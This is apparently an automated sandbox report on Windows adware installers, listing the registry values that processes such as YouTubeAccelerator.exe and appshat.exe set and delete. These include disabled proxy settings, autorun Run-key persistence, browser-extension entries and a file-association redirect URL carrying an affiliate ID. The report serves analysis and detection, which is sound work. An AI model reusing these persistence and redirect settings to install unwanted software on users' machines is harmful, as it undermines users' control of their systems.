[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ProtectService.exe:3856 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 06 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process ProtectService.exe:3260 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 51 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\IHProtect]
"ptid" = "smt"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process YouTubeAccelerator.exe:3840 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 C5 A5 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1423719190"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0C 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "92 AB 51 61 85 46 D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator]
"UiResVer" = "1000008"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "C7 4B 35 64 85 46 D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1423719189"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCU\Software\Goobzo\YouTube Accelerator]
"CommTestBootNeeded" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 48 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"
"TimeLimit" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "C7 4B 35 64 85 46 D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process TPAutoConnSvc.exe:1776 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ThinPrint\TPPrnUI\NPI456AB0 (HP LaserJet Professional M1212nf MFP)#:1]
"TrayData" = "2,Tray 3, 3,Tray 2, 1,Tray 1, 4,Manual Feed, 7,Auto Select"
"FormData" = "1,2159,2794,Letter¶40,40,2086,2712, 5,2159,3556,Legal¶40,40,2086,3474, 9,2100,2970,A4¶39,39,2032,2890, 7,1842,2667,Executive¶40,40,1761,2585, 258,2159,3302,8.5 x 13 (custom)¶40,40,2086,3220, 11,1480,2100,A5¶39,39,1408,2020, 70,1050,1480,A6¶39,39,975,1399, 13,1820,2570,B5 (JIS)¶39,39,1747,2490, 264,1950,2700,16K 195x270¶39,39,1882,2620, 263,1840,2600,16K 184x260¶39,39,1761,2520, 257,1970,2730,16K 197x273¶39,39,1896,2650, 43,1000,1480,Japanese Postcard¶39,39,921,1399, 82,1480,2000,Double Japan Postcard Rotated¶39,39,1408,1919, 20,1046,2413,Envelope #10¶40,40,975,2331, 37,983,1905,Envelope Monarch¶40,40,907,1823, 34,1760,2500,Envelope B5¶39,39,1693,2420, 28,1620,2290,Envelope C5¶39,39,1544,2209, 27,1100,2200,Envelope DL¶39,39,1029,2120"
"DelAfterCreate" = "1"

[HKU\.DEFAULT\Printers\DevModes2]
"NPI456AB0 (HP LaserJet Professional M1212nf MFP)#:1" = "4E 00 50 00 49 00 34 00 35 00 36 00 41 00 42 00"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\ThinPrint\TPPrnUI\NPI456AB0 (HP LaserJet Professional M1212nf MFP)#:1]

The process appshat.exe:3532 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "C7 4B 35 64 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\InstalledBrowserExtensions\25286]
"65743" = "Apps Hat 1.5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "FD 70 C9 76 85 46 D0 01"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286]
"65743" = "Apps Hat 1.5"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4E 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286]
"65743" = "Apps Hat 1.5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "FD 70 C9 76 85 46 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:3640 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "75 43 B9 3B 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 40 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "75 43 B9 3B 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "75 43 B9 3B 85 46 D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"easyburneres" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Internet Explorer\LowRegistry]
"AddToFavoritesInitialSelection"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Internet Explorer\LowRegistry]
"AddToFeedsInitialSelection"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process 3F7F.tmp:820 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "54 73 E2 5A 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 44 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "75 99 16 5D 85 46 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "75 99 16 5D 85 46 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process GLBE08E.tmp:3064 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"InstallTime" = "1423719172"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage" = "0"
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\Language\YouTubeAccelerator\Settings]
"CurrentLanguage" = "1033"

[HKCU\Software\Goobzo\YouTube Accelerator]
"DontShowAccelerationNotSupported" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Publisher" = "Goobzo Ltd."

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\Windows\system32]
"AniGIF.ocx" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ZippedRules" = "1"
"ShowAds" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"URLInfoAbout" = "http://www.youtubeaccelerator.com/support/"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"InstallTime" = "1423719172"
"DllInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayIcon" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe,-0"
"InstallLocation" = "%Program Files% (x86)\YouTube Accelerator"

[HKCU\Software\Goobzo\YouTube Accelerator]
"HideAccList" = "0"
"ShowTrayIcon" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"HelpLink" = "http://www.youtubeaccelerator.com/about/"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BuildNumber" = "88"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"UninstallString" = "%Program Files% (x86)\YouTube Accelerator\YTAUninstall.exe"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Version" = "3.3.9.4"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Contact" = "[email protected]"
"DisplayVersion" = "3394(build_88)"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayName" = "YouTube Accelerator"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "3.3.9.4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\YouTube Accelerator]
"Order" = "E0 80 00 00 00 20 00 00 0D C0 10 00 00 10 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
"Application" = "http://www.fileextensionpro.com/redir.aspx?s=smtycl1_0_0_0_0,572a1153-8705-4466-affe-b5bad540fde1,&LangID=x&Ext=%s"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"tver"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Br"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"BrName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"HideAccList"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]
"Mode"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BrName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Br"
"ShowTrayIcon"

The Application disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"YouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"VARemove"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

The process wpm_v20.0.0.1714_0204.exe:3584 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4B 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

"UNCAsIntranet" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
